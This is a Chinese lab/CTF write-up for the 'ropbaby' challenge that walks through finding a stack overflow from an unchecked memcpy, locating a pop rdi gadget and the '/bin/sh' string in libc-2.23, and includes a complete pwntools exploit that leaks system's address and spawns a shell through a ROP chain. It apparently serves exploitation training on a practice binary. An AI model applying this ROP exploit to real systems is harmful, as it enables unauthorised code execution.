实验目的 【实验吧_ROPBABY】用过这次实验去检验我们前期对栈溢出的掌握程度
实验文件 链接:https://pan.baidu.com/s/14fPpj6nULpywKwMv21r7rA
提取码:qbp9
实验步骤 首先检验ropbaby的保护机制
文章图片
发现栈是no canary found,我们可以进行栈溢出。
首先对文件进行静态分析
文章图片
发现了 memcpy(&savedregs, nptr, v8),savedregs是_int64型,只有8字节的空间,而nptr有1088字节,这就造成了栈溢出。
因此我们需要做的步骤如下:
1.找到程序漏洞(即溢出点)
2.构造一个gadget,包含pop rdi | retn
3.在libc中找到/bin/sh字符串的地址,送入rdi寄存器
4.找到system函数地址,并使得程序跳转执行system函数
然后进行动态分析
文章图片
下面选取有用的:
ROPgadget --binary libc-2.23.so--only "pop|ret"
0x0000000000020256 : pop rdi ;
pop rbp ;
ret
0x0000000000021102 : pop rdi ;
ret//这一段就是我们要的gadget,偏移量是0x21102
0x0000000000067499 : pop rdi ;
ret 0xffff
下面找到/bin/sh在libc中的地址
文章图片
由于程序允许我们查找system的地址,因此我们考虑找到system函数的偏移
文章图片
0x45390即为system的偏移
所以我们可以构造payload = ‘a’*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)
附上exp.py
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
p=process('./ropbaby')
p.recvuntil(':')
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline('system')
p.recvuntil(':')
system_addr=int(p.recv(19),16)#这里":"之后还有一个空格,我一开始只接收18个字符
print "system_addr="+hex(system_addr)
base_addr=system_addr-0x45390 #libc加载的基地址
print "base_addr="+hex(base_addr)
bin_addr=0x18cd17
bin_addr=base_addr+bin_addr
print "bin_addr="+hex(bin_addr)
gaget_addr=0x21102
gaget_addr=base_addr+gaget_addr
print "gaget_addr="+hex(gaget_addr)
payload = 'a'*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)
print p.recvuntil(':')
print "-------------------------------------------------------------"
p.sendline("3")
p.recvuntil(':')
p.sendline('32')
print payload
p.sendline(payload)
p.interactive()